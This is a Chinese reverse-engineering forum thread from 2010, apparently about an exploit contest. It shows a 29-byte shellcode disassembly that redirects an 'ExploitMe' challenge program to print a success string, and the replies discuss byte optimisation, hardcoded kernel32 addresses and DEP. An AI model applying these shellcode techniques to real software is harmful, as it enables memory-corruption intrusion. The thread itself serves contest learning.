首页
论坛
课程
招聘
[调试逆向] [讨论]29byte 兼容性优先无错版.
2010-10-20 23:10 5304

[调试逆向] [讨论]29byte 兼容性优先无错版.

2010-10-20 23:10
5304
0012FCAB    BE 6C604000          mov esi,0x40606C                                 ; UNICODE "ExploitMe"
0012FCB0    6A 00                push 0x0
0012FCB2    56                   push esi
0012FCB3    57                   push edi
0012FCB4    B9 0E000000          mov ecx,0xE
0012FCB9    F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCBB    B9 10000000          mov ecx,0x10
0012FCC0    BE 22B1897C          mov esi,0x7C89B122                               ; UNICODE " successfully.
"
0012FCC5    F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCC7  - E9 00152D00          jmp ExploitM.004011CC

估计还可以优化下。

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年秋季班火热招生!!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (12)
雪    币: 2362
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zapline 活跃值 2010-10-20 23:13
2
0
兼容纯属虚构
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
codegame 活跃值 2010-10-20 23:15
3
0
你13XXXX栈就飘过吧
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
codegame 活跃值 2010-10-20 23:16
4
0
我说的兼容是能保证运行后不出错,你的情况是直接无法运行你已经属于排除范例。
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rickywong 活跃值 2010-10-20 23:49
5
0
感觉很多选手都栽在硬编码上了
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
codegame 活跃值 2010-10-20 23:54
6
0
不硬编码要如何。。开始的跳板 6byte你能缩减吗?
雪    币: 211
活跃值: 活跃值 (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
71190838 活跃值 1 2010-10-21 00:01
7
0
mov ecx,0xE
mov ecx,0x10

这两句为什么不写成
push 0x0E
pop ecx
push 0x10
pop ecx

这样又能省掉四个字节,楼主现在应该很郁闷了。
雪    币: 211
活跃值: 活跃值 (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
71190838 活跃值 1 2010-10-21 00:04
8
0
哦,统计的是非零字节,刚才想错了,呵
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rickywong 活跃值 2010-10-21 00:36
9
0
一开始的两个堆栈指针可以修改解决或者关闭DEP,这样堆栈基址基本都会在0x130000
但是遇到某些版本的kernel32时硬编码地址就会指错字符串了,比如说这个是你的答卷在winxp sp2下的测试。并且这样做也不保证兼容以后版本的kernel32,只能寄望考官使用相同版本的kernel32.dll
上传的附件:
雪    币: 396
活跃值: 活跃值 (11)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
踏雪流云 活跃值 1 2010-10-21 10:26
10
0
利用了0012FCC0    BE 22B1897C          mov esi,0x7C89B122                               ; UNICODE " successfully.
kernel32中的字符串呀,强悍~~~
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
codegame 活跃值 2010-10-21 10:32
11
0
限制平台不是说了winxp sp3吗?
雪    币: 285
活跃值: 活跃值 (105)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
blueapplez 活跃值 14 2010-10-21 10:43
12
0
我的29B的硬了一次 是堆栈硬
你的硬了2次  硬到kernel32里了  哈哈  这题目现在感觉还是 黑白 先生做的最完善 思考的最全面。
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
codegame 活跃值 2010-10-21 19:25
13
0
他那个利用目录明文件名来充当shellcode的如果是实际应用那么我很赞赏,但这终归是比赛,比赛就要有规则,虽然规则也没有说不能利用目录文件名来做,但想下,如果这都可以那为什么评委还专门在规则里面写了只能更改和提交exploit.dat,岂不是冲突。但从纯技术角度考虑他的实现的确花费了不少功夫值得肯定。
游客
登录 | 注册 方可回帖
返回